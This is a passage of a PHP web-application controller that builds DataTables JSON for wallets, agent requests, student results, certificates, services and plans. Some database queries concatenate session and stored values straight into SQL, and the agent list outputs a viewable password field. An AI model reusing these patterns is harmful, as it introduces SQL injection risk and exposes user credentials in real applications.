array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->slider_image != '') { $slider_image = '
'; }else{ $slider_image = '
'; } $nestedData['SR_NO'] = $i; $nestedData['BLOG_IMAGE'] = $slider_image; $nestedData['BLOG_ID'] = $post->rs_id; $nestedData['BLOG_TITLE'] = $post->title; $nestedData['BLOG_DESC1'] = $post->discription1; // $nestedData['BLOG_DESC2'] = $post->discription2; // $nestedData['STATUS'] = $post->button_label; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // public function cause_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_causes_details(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_causes_details($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = causes_details_search($limit, $start, $search, $order, $dir); $totalFiltered = causes_details_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->image_url != '') { $image_url = '
'; }else{ $image_url = '
'; } $nestedData['SR_NO'] = $i; $nestedData['BLOG_IMAGE'] =$image_url; $nestedData['BLOG_ID'] = $post->causes; $nestedData['BLOG_TITLE'] = $post->cause_title; $nestedData['BLOG_DESC1'] = $post->cause_desc; $nestedData['BLOG_DESC2'] = $post->raised; $nestedData['BLOG_goal'] = $post->goal; $nestedData['STATUS'] = $post->button_name; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // public function slider_list() // { // $columns = array( // 0 => 'SR_NO', // 1 => 'BLOG_TITLE', // 2 => 'BLOG_TITLE', // 3 => 'BLOG_TITLE', // 4 => 'BLOG_TITLE', // 5 => 'BLOG_TITLE', // 6 => 'BLOG_TITLE', // 7 => 'BLOG_TITLE', // // 8 => 'BLOG_TITLE', // ); // $limit = $this->input->post('length'); // $start = $this->input->post('start'); // $order = $columns[$this->input->post('order')[0]['column']]; // $dir = $this->input->post('order')[0]['dir']; // // $status = $_POST['status']; // // $page_name = $_POST['page_name']; // $totalData = count_all_slider_details(); // $totalFiltered = $totalData; // if (empty($this->input->post('search')['value'])) { // $posts = all_slider_details($limit, $start, $order, $dir); // } else { // $search = $this->input->post('search')['value']; // $posts = slider_details_search($limit, $start, $search, $order, $dir); // $totalFiltered = slider_details_search_count($search); // } // $data = array(); // if (!empty($posts)) { // $i = $start + 1; // foreach ($posts as $post) { // if ($post->slider_image != '') { // $slider_image = '
//
//
//
// //
//
//
//
//
'; // }else{ // $slider_image = '
//
//
//
// //
//
//
//
//
'; // } // $nestedData['SR_NO'] = $i; // $nestedData['BLOG_IMAGE'] = $slider_image; // $nestedData['BLOG_ID'] = $post->rs_id; // $nestedData['BLOG_TITLE'] = $post->title; // $nestedData['BLOG_DESC1'] = $post->discription1; // $nestedData['BLOG_DESC2'] = $post->discription2; // $nestedData['STATUS'] = $post->button_label; // $nestedData['ACTION'] = ' //
// // // //
// '; // } // $i++; // $data[] = $nestedData; // } // $json_data = array( // "draw" => intval($this->input->post('draw')), // "recordsTotal" => intval($totalData), // "recordsFiltered" => intval($totalFiltered), // "data" => $data // ); // echo json_encode($json_data); // } // END SLIDER LIST // agent wallet public function wallet_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $agentid = 2; $totalData = count_all_wallet($agentid); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_wallet($limit, $start, $order, $dir,$agentid); } else { $search = $this->input->post('search')['value']; $posts = wallet_search($limit, $start, $search, $order, $dir,$agentid); $totalFiltered = wallet_search_count($search,$agentid); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['loginid'] = $post->ADMIN_ID; $nestedData['VOL_NAME'] = $post->ADMIN_NAME; $nestedData['VOL_EMAIL'] = ' ADD WALLET '; $nestedData['amt'] = $post->wallet_amount; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } //AGENT wallet REQUEST public function account_statement() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $from = date("Y-m-d", strtotime($_POST['from'])); $to = date("Y-m-d", strtotime($_POST['to'])); $totalData = count_all_account_statement($from,$to); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_account_statement($limit, $start, $order, $dir,$from,$to); } else { $search = $this->input->post('search')['value']; $posts = account_statement_search($limit, $start, $search, $order, $dir,$from,$to); $totalFiltered = account_statement_search_count($search,$from,$to); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->status == '1') { $status = 'APPROVED'; }elseif($post->status == '2'){ $status = 'REJECT'; }else{ $status = 'pending'; } $nestedData['SR_NO'] = $i; $nestedData['name'] = $post->ADMIN_NAME; $nestedData['request'] = $post->date; $nestedData['ACTION'] = $post->action_date; $nestedData['transaction'] = $post->transaction_id; $nestedData['bank_name'] = $post->bank_name; $nestedData['amount'] = $post->amount; $nestedData['massage'] = $post->massage; if (!empty($post->receipt)) { $nestedData['reciept'] = ' download '; }else{ $nestedData['reciept'] = 'NOT AVAILABLE'; } $nestedData['status'] = $status; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } //AGENT wallet REQUEST public function agent_wallet_request() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', // 8 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_agent_wallet_request(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_agent_wallet_request($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = agent_wallet_request_search($limit, $start, $search, $order, $dir); $totalFiltered = agent_wallet_request_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->status == '1') { $status = 'APPROVED'; }elseif($post->status == '2'){ $status = 'REJECT'; }else{ $status = 'pending'; } $nestedData['SR_NO'] = $i; $nestedData['name'] = $post->ADMIN_NAME; $nestedData['request'] = $post->date; $nestedData['transaction'] = $post->transaction_id; $nestedData['bank_name'] = $post->bank_name; $nestedData['amount'] = $post->amount; $nestedData['massage'] = $post->massage; if (!empty($post->receipt)) { $nestedData['reciept'] = ' download '; }else{ $nestedData['reciept'] = 'NOT AVAILABLE'; } $nestedData['status'] = $status; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // account statement // wallet REQUEST public function wallet_request_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $agentid = $_SESSION['loginid']; $totalData = count_all_wallet_request($agentid); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_wallet_request($limit, $start, $order, $dir,$agentid); } else { $search = $this->input->post('search')['value']; $posts = wallet_request_search($limit, $start, $search, $order, $dir,$agentid); $totalFiltered = wallet_request_search_count($search,$agentid); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->status != '0') { $status = 'RECHARGE BY ADMIN'; }else{ $status = 'PENDING'; } $nestedData['SR_NO'] = $i; $nestedData['request'] = $post->date; $nestedData['action_date'] = $post->action_date; $nestedData['bank_name'] = $post->bank_name; $nestedData['amount'] = $post->amount; $nestedData['massage'] = $post->massage; $nestedData['status'] = $status; if($post->status == '0'){ $nestedData['ACTION'] = ' CANCEL REQUEST '; }else{ $nestedData['ACTION'] = 'ACTION TEKEN'; } $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // agent wallet public function wallet_amount_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', // 8 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $agentid = $_SESSION['loginid']; $totalData = count_all_wallet_amount($agentid); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_wallet_amount($limit, $start, $order, $dir,$agentid); } else { $search = $this->input->post('search')['value']; $posts = wallet_amount_search($limit, $start, $search, $order, $dir,$agentid); $totalFiltered = wallet_amount_search_count($search,$agentid); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->type != '1') { $debit = 'CREDIT BY ADMIN'; }else{ $debit = 'DEBIT BY AGENT'; } // if ($post->type != '1') { // $debit = 'CREDIT BY ADMIN'; // // $wallet = 'CREDIT BY ADMIN'; // // $massage = 'CREDIT BY ADMIN'; // }else{ // $debit = 'DEBIT BY AGENT'; // } $nestedData['SR_NO'] = $i; $nestedData['date'] = $post->date; $nestedData['transaction'] = $post->form_fee; $nestedData['wallet'] = $post->total; $nestedData['debit'] = $debit; $nestedData['VOL_EMAIL'] = $post->form_name; $nestedData['form_fee'] = $post->form_fee; $nestedData['massage'] = $post->description; // 'VOL_ID.'" mname="'.$post->VOL_ID.'"" measureid="'.$post->VOL_ID.'"" href="javascript:void(0);">'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // wallet report between date to admin public function wallet_report_date() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $from = date("Y-m-d", strtotime($_POST['from'])); $to = date("Y-m-d", strtotime($_POST['to'])); $totalData = count_all_wallet_report_date($from,$to); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_wallet_report_date($limit, $start, $order, $dir,$from,$to); } else { $search = $this->input->post('search')['value']; $posts = wallet_report_date_search($limit, $start, $search, $order, $dir,$from,$to); $totalFiltered = wallet_report_date_search_count($search,$from,$to); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->type != '1') { $debit = 'CREDIT BY ADMIN'; }else{ $debit = 'DEBIT BY AGENT'; } $nestedData['SR_NO'] = $i; $nestedData['date'] = $post->date; $nestedData['agent_name'] = $post->ADMIN_NAME; $nestedData['transaction'] = $post->form_fee; $nestedData['wallet'] = $post->total; $nestedData['debit'] = $debit; $nestedData['VOL_EMAIL'] = $post->form_name; $nestedData['form_fee'] = $post->form_fee; $nestedData['massage'] = $post->description; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function wallet_report() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_wallet_report(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_wallet_report($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = wallet_report_search($limit, $start, $search, $order, $dir); $totalFiltered = wallet_report_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->type != '1') { $debit = 'CREDIT BY ADMIN'; }else{ $debit = 'DEBIT BY AGENT'; } $nestedData['SR_NO'] = $i; $nestedData['date'] = $post->date; $nestedData['agent_name'] = $post->ADMIN_NAME; $nestedData['transaction'] = $post->form_fee; $nestedData['wallet'] = $post->total; $nestedData['debit'] = $debit; $nestedData['VOL_EMAIL'] = $post->form_name; $nestedData['form_fee'] = $post->form_fee; $nestedData['massage'] = $post->description; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // ALL RESULT public function result_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $center = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row('id'); } $totalData = count_all_result($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_result($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = all_result_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = all_result_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $year=date('Y',strtotime(@$post->timestamp)); if($post->COURSE_TYPE==2){ $duration = ''.$post->PASSING_YEAR.' Year '; $course_timing = ''.$post->YEAR_DURATION.' Year '; }else{ $duration = ''.$post->MONTH_DURATION.'-Months '; $course_timing = ''.$post->MONTH_DURATION.' Year '; } $course_code = ''.$post->COURSE_CODE.' '; $enrollment = ''.$post->ENROLLMENT_NO.' '; $update_srno = ''; $nestedData['SR_NO'] = $i; $nestedData['STUDENT'] = $post->STUDENT_NAME.$enrollment.$duration; $nestedData['ROLL_NO'] = $post->ROLL_NO; $nestedData['COURSE'] = $post->COURSE_NAME.$course_code.$course_timing; $nestedData['YEAR'] = @$post->BATCH_NAME; $nestedData['SESSION'] = $post->CENTER_NUMBER; $nestedData['SUBJECT'] = $post->CENTER_NAME.'
'.$update_srno; if($_SESSION['type'] == 1){ $nestedData['ACTION'] = '
'; }else{ $nestedData['ACTION'] = '
'; } $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function gererate_certificate_student() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); if($_SESSION['type'] == 1){ // die('here'); $center = 'all'; }else{ $center = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row('id'); } $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status=$_POST['status']; // die(var_dump($center)); $totalData = count_all_generate_certificate_list($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_generate_certificate_list($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = generate_certificate_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = generate_certificate_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; $max_marks=''; $obt_marks=''; //print_r($posts); foreach ($posts as $post) { if($post->status==0){ $status='PENDING'; }elseif($post->status==1){ $status='CREATED '; }else{ $status='CANCEL'; } if($post->ctype==1){ $duration=$post->duration.'months'; }else{ $duration=$post->year.'years'; } $certificate = $this->db->query("SELECT * FROM `student_certificate` WHERE `result_id` LIKE '".$post->result_id."'")->row(); $update_certificate = ''; $update_srno = ''; $nestedData['SR_NO'] = $i; $nestedData['DATE'] = date('Y-m-d',strtotime($post->timestamp)); $nestedData['NAME'] = $post->name; $nestedData['ENROLLMENT'] = $post->enrollment_no; $nestedData['COURSE'] = $post->course_name; $nestedData['DURATION'] = $duration.'---'.$post->result_id.' '; $nestedData['YEAR'] = $post->year; $nestedData['PERCENTAGE'] = @$post->percentage; $nestedData['RESULT'] = @$post->result.'
'.$update_certificate. '- '.$update_srno.' ' ; $nestedData['STATUS'] = @$status; if($post->status==0){ $num_result = $this->db->query("SELECT * FROM `results` WHERE `enrollment_no` LIKE '".$post->enrollment_no."'")->num_rows(); $students = $this->db->query("SELECT * FROM `students` LEFT JOIN courses ON courses.id=students.course_id WHERE students.enrollment_no LIKE '".$post->enrollment_no."' ")->row(); if($students->type == 1){ // for month if($num_result == 1){ $nestedData['ACTION'] = '
'; }else{ $nestedData['ACTION'] = ''; } }else{ // for year if($post->year == $students->years ){ $nestedData['ACTION'] = '
'; // }elseif($num_result == $students->years){ // $nestedData['ACTION'] = ' //
// // // //
// '; }else{ $nestedData['ACTION'] = ' '; } } }else{ $students = $this->db->query("SELECT * FROM `students` LEFT JOIN courses ON courses.id=students.course_id WHERE students.enrollment_no LIKE '".$post->enrollment_no."' ")->row(); if($post->year == $students->years ){ $nestedData['ACTION'] = '
'; }else{ $nestedData['ACTION'] ='
'; } } $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // add agent public function add_agent_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $agentid = 2; $totalData = count_all_add_agent($agentid); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_add_agent($limit, $start, $order, $dir,$agentid); } else { $search = $this->input->post('search')['value']; $posts = add_agent_search($limit, $start, $search, $order, $dir,$agentid); $totalFiltered = add_agent_search_count($search,$agentid); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->ADMIN_STATUS == 1){ $checked = 'checked'; }else{ $checked = 'unchecked'; } $nestedData['SR_NO'] = $i; $nestedData['date'] = $post->ADMIN_NAME; $nestedData['VOL_EMAIL'] = $post->USER_NAME; $nestedData['form_fee'] = $post->PASSWORD_VIEW; $nestedData['dpt_name'] = $post->dpt_name; $nestedData['pay'] ='' ; $nestedData['ACTION'] = '
'; // 'VOL_ID.'" mname="'.$post->VOL_ID.'"" measureid="'.$post->VOL_ID.'"" href="javascript:void(0);">'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // service list public function service_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; // $agentid = 2; $totalData = count_all_service_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_service_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = service_list_search($limit, $start, $search, $order, $dir); $totalFiltered = service_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $checked = 'checked'; }else{ $checked = 'unchecked'; } $nestedData['SR_NO'] = $i; // $nestedData['date'] = $post->ADMIN_NAME; $nestedData['NAME'] = $post->form_menu; $nestedData['FEE'] = $post->form_fee; $nestedData['DPT'] = $post->dpt_name; $nestedData['STATUS'] ='' ; $nestedData['comment'] ='ADD COMMENT ' ; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // service list user public function service_list_user() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $agentid = $_SESSION['loginid']; $totalData = count_all_service_list_user($agentid); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_service_list_user($limit, $start, $order, $dir,$agentid); } else { $search = $this->input->post('search')['value']; $posts = service_list_user_search($limit, $start, $search, $order, $dir,$agentid); $totalFiltered = service_list_user_search_count($search,$agentid ); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $checked = 'checked'; }else{ $checked = 'unchecked'; } $nestedData['SR_NO'] = $i; // $nestedData['date'] = $post->ADMIN_NAME; $nestedData['NAME'] = $post->form_menu; $nestedData['FEE'] = $post->form_fee; $nestedData['DPT'] = $post->dpt_name; $nestedData['STATUS'] ='' ; $nestedData['comment'] ='ADD COMMENT ' ; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // plan list public function plan_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; // $agentid = 2; $totalData = count_all_plan_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_plan_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = plan_list_search($limit, $start, $search, $order, $dir); $totalFiltered = plan_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['date'] = $post->plan_id; $nestedData['VOL_EMAIL'] = $post->plan_name; $nestedData['form_fee'] = $post->commision; $nestedData['ACTION'] = '
'; // 'VOL_ID.'" mname="'.$post->VOL_ID.'"" measureid="'.$post->VOL_ID.'"" href="javascript:void(0);">'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // // UPLOAD DOCUMENT // public function upload_document_list() // { // $columns = array( // 0 => 'SR_NO', // 1 => 'MEASUREMENT_NAME', // 2 => 'MEASUREMENT_NAME', // 3 => 'MEASUREMENT_NAME', // 4 => 'MEASUREMENT_NAME', // ); // $limit = $this->input->post('length'); // $start = $this->input->post('start'); // $order = $columns[$this->input->post('order')[0]['column']]; // $dir = $this->input->post('order')[0]['dir']; // // $status = $_POST['status']; // $agentid = 2; // $totalData = count_all_upload_document($agentid); // $totalFiltered = $totalData; // if (empty($this->input->post('search')['value'])) { // $posts = all_upload_document($limit, $start, $order, $dir,$agentid); // } else { // $search = $this->input->post('search')['value']; // $posts = upload_document_search($limit, $start, $search, $order, $dir,$agentid); // $totalFiltered = upload_document_search_count($search,$agentid); // } // $data = array(); // if (!empty($posts)) { // $i = $start + 1; // foreach ($posts as $post) { // $nestedData['SR_NO'] = $i; // $nestedData['date'] = $post->ADMIN_NAME; // $nestedData['VOL_EMAIL'] = $post->forms_name; // $nestedData['form_fee'] = ' // UPLOAD DOCUMENT // '; // $nestedData['ACTION'] = ' //
// // // //
// '; // // 'VOL_ID.'" mname="'.$post->VOL_ID.'"" measureid="'.$post->VOL_ID.'"" href="javascript:void(0);">'; // $i++; // $data[] = $nestedData; // } // } // $json_data = array( // "draw" => intval($this->input->post('draw')), // "recordsTotal" => intval($totalData), // "recordsFiltered" => intval($totalFiltered), // "data" => $data // ); // echo json_encode($json_data); // } // SELLER FORM public function seller_forms() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $data2=''; $form_name=$_SESSION['form_name']; $user_id=$_SESSION['loginid']; $this->db->from('agent_form_data'); $this->db->join('document', 'document.form_id = agent_form_data.form_id','left'); $this->db->where('seller_id', $user_id); $this->db->where('form_name', $form_name); $this->db->select('agent_form_data.*,document.document,document.document_name'); $form_key = $this->db->get(); // $this->db->select('*'); // $this->db->from('form_fields_data'); // $this->db->where('form_menu', $form_name); // $form_fields_data = $this->db->get(); // die(var_dump(json_decode($form_fields_data->row()->form_desc))); // $form_key = $this->db->get_where('agent_form_data', array('seller_id' => $user_id,'form_name' => $form_name)); foreach ($form_key->result() as $key ) { $data1 = json_decode($key->description); // echo'
'; 
                                      //  $data=array();
                                      $data['content']=''; 
  
                                        foreach($data1 as $keys => $value) {
                                            if($value instanceof stdClass) {
                                                $temp =  json_decode(json_encode($value), true);  
                                                $blog_image = '
'; $data['content'].= ' '. $blog_image.' '; // die(var_dump($temp['name'])); } else { $data['content'].= ' '. $value.' '; } } $data['content'].=''.$key->document_name.''; $data['content'].='Preview'; $data['content'].=''; $data2.=$data['content']; } // print_r($data2); // echo '
';
  


                        $response['message']=$data2;


                    json_output(200, $response);
                } else if ($response['status'] == 303) {
                    $this->Common_model->logout();
                    $this->session->sess_destroy();
                    json_output(401, $response);
                }
            }
        }
    }
public function agent_forms()
    {
        $method = $_SERVER['REQUEST_METHOD'];
        if ($method != 'POST') {
            json_output(400, array('status' => 400, 'message' => 'Bad request.'));
        } else {
            $check_auth_client = $this->Authentication_model->check_auth_client();

            if ($check_auth_client == true) {
                $response = $this->Authentication_model->auth();
                if ($response['status'] == 200) {
                    

                 
